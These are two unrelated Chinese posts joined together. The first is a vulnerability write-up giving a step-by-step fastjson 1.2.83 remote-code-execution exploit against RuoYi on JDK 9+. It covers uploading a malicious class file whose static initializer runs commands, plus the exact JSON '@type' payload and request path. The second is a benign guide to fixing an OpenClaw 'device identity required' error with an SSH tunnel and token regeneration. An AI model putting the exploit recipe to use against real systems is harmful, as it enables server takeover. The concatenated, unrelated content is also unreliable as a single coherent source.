jar:http: 链变种应用，新思路打穿JDK9+ fastjson 1.2.66-1.2.83 @JSONType探针 file: URL 远程代码执行漏洞经分析，fastjson 1.2.83 的 @JSONType 探针机制在校验 typeName 时，会无条件调用 ClassLoader.getResourceAsStream() 读取攻击者指定的本地文件。结合 file: 协议的单斜线语法绕过 JDK 高版本限制 + Spring Boot fat-jar 的 LaunchedURLClassLoader，可加载攻击者上传的恶意 class 文件并执行其静态初始化代码，最终实现远程代码执行。复现环境：OpenJDK 21.0.7fastjson1.2.83 (RuoYi) v4.8.3 / Spring Boot 2.7.18Ubuntu 20.04步骤1：访问若依登录页 → 登录系统步骤2：上传恶意 class 文件（通过后台"文件上传"功能）若依上传代码逻辑是：// RuoYi 通用上传String filePath = RuoYiConfig.getProfile() + "/upload/";// → "/home/ruoyi/uploadPath/upload/"file.transferTo(new File(filePath + originalFilename));所以推测 evil_poc.class 上传后落盘在：/home/ruoyi/uploadPath/upload/evil_poc.class步骤3：构造包含 @type 的 JSON 请求，触发 fastjson 反序列化步骤4： 执行，命令输出写入 /tmp/PWNED.txtRCE 确认：确认写入成功原理：缺陷位于 com.alibaba.fastjson.parser.ParserConfig.checkAutoType()（fastjson 1.2.66–1.2.83）// 步骤1：攻击者控制的 typeName 被拼接成 class 资源路径String resource = typeName.replace('.', '/') + ".class";// 步骤2：无条件调用 getResourceAsStream（autoType 关闭也执行！）if (defaultClassLoader != null) {is = defaultClassLoader.getResourceAsStream(resource);}// 步骤3：如果读取到的 class 文件含有 @JSONType 注解 → jsonType = trueif (jsonType) {if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); } return clazz; // 短路返回！跳过 deny-list、DataSource/RowSet 等所有安全检查}问题出在第二步没有校验 resource 是否包含协议前缀。攻击者传入：typeName = "file:.home.ruoyi.uploadPath.upload.evil_poc"fastjson 内部 replace('.', '/') 后得到：resource = "file:/home/ruoyi/uploadPath/upload/evil_poc.class"getResourceAsStream 将这段路径传给 ClassLoader，而 ClassLoader 在特定条件下会把它当绝对路径打开。为什么 file: 协议能绕过 JDK 9+ 的限制此前公开的 jar:http:// 链（2026 年 7 月由 @wouijvziqy 披露）在 JDK 9+ 上失效，原因是 :// 双斜线会导致 JDK 的 verify_unqualified_name 校验中出现空段：jar:http://attacker/probe!/Evil → 分段为 [jar:http:, 空, attacker, probe!, Evil] → JDK 9+ detect 空段 → 拒绝 defineClass → 攻击失败而 file: 协议（RFC 8089）支持 单斜线 语法 file:/absolute/path，天然不产生空段：file:/home/ruoyi/uploadPath/upload/evil_poc → 分段为 [file:, home, ruoyi, uploadPath, upload, evil_poc] → 全为非空 → JDK 9+ 通过 → defineClass 成功file: 是所有 URL 协议中唯一可以不使用 //authority 的协议，这不是编码技巧，而是协议语法层面的差异。 class 内部特征： - this_class = "file:/home/ruoyi/uploadPath/upload/evil_poc"（单斜线！） - 类上有 @com.alibaba.fastjson.annotation.JSONType 注解 - <clinit> 静态代码块中执行系统命令② class 文件落盘到 /home/ruoyi/uploadPath/upload/evil_poc.class③ 攻击者发送 JSON payload： POST /dev-api/login {"@type":"file:.home.ruoyi.uploadPath.upload.evil_poc","x":1}④ fastjson.parseObject() 触发 checkAutoType： → resource = "file:/home/ruoyi/uploadPath/upload/evil_poc.class" → getResourceAsStream(resource) → LaunchedURLClassLoader 读取本地 class 文件 → ASM ClassReader 扫描 → 检测到 @JSONType → jsonType = true → 信任短路 → defineClass（JDK 9+ 类名校验通过，无空段） → parseObject 创建实例 → 触发 → RCE与已知漏洞的关系本漏洞是 jar:http: 链（2026-07, @wouijvziqy PoC）在 JDK 9+ 上的变种利用。原链在 JDK 9+ 被堵死后，file: 协议是唯一能绕过类名空段校验的替代方案。核心利用路径相同，但传输方式从"远程拉取 jar"变成了"先本地落盘再 file: 读取"。

部署OpenClaw并解决HTTP设备标识错误：一场与浏览器的“斗智斗勇” 大家好，今天我要分享一次在物理服务器上折腾OpenClaw的经历，重点是如何解决那个烦人的“device identity required”错误。如果你也在自己的物理机上部署类似工具，希望这篇文章能帮你少走弯路。背景：为什么选择OpenClaw？OpenClaw是一个强大的网关工具，可以用来管理AI代理、执行任务、远程控制等。我把它部署在自己的物理服务器（一台家里运行的Linux主机）上，打算通过浏览器随时随地访问它的控制面板。服务器是Linux系统，通过Docker运行OpenClaw，端口映射为 60004（公网）→ 18789（容器内）。没有云厂商的一键部署，所有网络配置、端口转发都得自己动手。问题现象：浏览器拒绝服务部署完成后，我兴冲冲地在浏览器输入 http://我的域名:60004，结果页面加载了一部分，却弹出一个红色警告：device identity required此页面为 HTTP，因此浏览器阻止设备标识。请使用 HTTPS (Tailscale Serve) 或在网关主机上打开 http://127.0.0.1:18789。如果您必须保持 HTTP，请设置 gateway.controlUi.allowInsecureAuth: true (仅限令牌)。页面中间显示“已断开与网关的连接”，左侧菜单可以点开，但无法真正使用。原因分析：浏览器安全策略与Tailscale的“冲突”为什么会有这个错误？因为OpenClaw为了安全，使用了Web Crypto API进行设备身份验证，这要求页面必须在安全上下文中运行。安全上下文只有两种：HTTPS 页面（https://）本地地址（http://127.0.0.1 或 http://localhost）而我通过公网域名和HTTP访问，自然被浏览器拦下。更关键的是，我的物理服务器上安装了Tailscale（为了方便内网穿透），它在后台尝试注入身份获取脚本，而HTTP页面阻止了脚本执行，所以报错。探索解决方案：从修改配置到SSH隧道4.1 尝试修改OpenClaw配置错误提示中建议设置 gateway.controlUi.allowInsecureAuth: true。于是我进入物理服务器，找到OpenClaw的配置文件（通常位于 ~/.openclaw/openclaw.json 或容器内的 /home/node/.openclaw/openclaw.json）。原文件内容大致如下：json{ "gateway": {"auth": { "mode": "token", "token": "一串长长的token" }, "controlUi": { "allowInsecureAuth": false, ... }}}将 allowInsecureAuth 改为 true，保存后重启容器。满怀期待地刷新页面……错误依旧！这是因为 allowInsecureAuth 只是允许服务端接受HTTP令牌认证，但无法改变浏览器对页面上下文的判定。这个配置只解决了服务端的问题，没解决浏览器的问题。4.2 使用Tailscale Serve（HTTPS方案）既然浏览器要求HTTPS，而Tailscale可以自动提供证书，那用 tailscale serve 应该最完美。在物理服务器上执行：bashtailscale serve 18789然后通过 https://你的设备名.你的网络名.ts.net 访问。确实，HTTPS页面加载正常，设备身份验证通过。但问题是，我需要分享给其他人，或者用自定义域名访问，这个方案就不太方便了，而且Tailscale在物理机上也需要额外配置。4.3 SSH隧道：最简单的“曲线救国”我不想为了一个面板专门配HTTPS（物理机上配HTTPS还要折腾证书和反向代理），于是想到了SSH隧道。原理是：将远程物理服务器的端口通过SSH加密隧道映射到本地，然后用 http://127.0.0.1 访问，这样浏览器就认为是在访问本地安全上下文。我的Windows电脑上需要安装OpenSSH客户端（Win10/11一般自带，如果没有可以通过“设置”→“应用”→“可选功能”安装）。然后在PowerShell中执行：powershellssh -L 18789:127.0.0.1:60004 用户名@你的物理服务器IP -p 22输入密码后，保持窗口打开。现在在浏览器中访问 http://127.0.0.1:18789，页面终于完全加载，不再报错！4.4 输入Token完成登录页面虽然加载了，但显示“离线”并提示“device identity required”，这是因为OpenClaw需要令牌认证。我的配置文件中已经有一个token，需要在页面上输入。输入正确的token后，状态变为“在线”，左侧菜单功能都可以使用了。进阶：如何让token更安全？我配置里的token是在对话中无意暴露的，为了安全，我重新生成了一个：bashopenssl rand -hex 20然后用新token替换配置文件中的旧值，重启容器。以后登录都要用新token。总结与展望对于我这种物理机用户，没有云厂商的一键部署，SSH隧道成了最快捷的临时方案。而长期我会考虑用Nginx配置HTTPS，或者体验腾讯的QClaw——据说可以直接通过微信控制，那才是真正的“远控自由”。希望这篇文章能帮到同样在物理机上折腾的朋友。如果你在部署中也遇到了奇怪的问题，不妨从“安全上下文”这个角度想想，或许能豁然开朗。这篇文章也是根据我与ai共同解决之后，叫他总结的。感谢大家的支持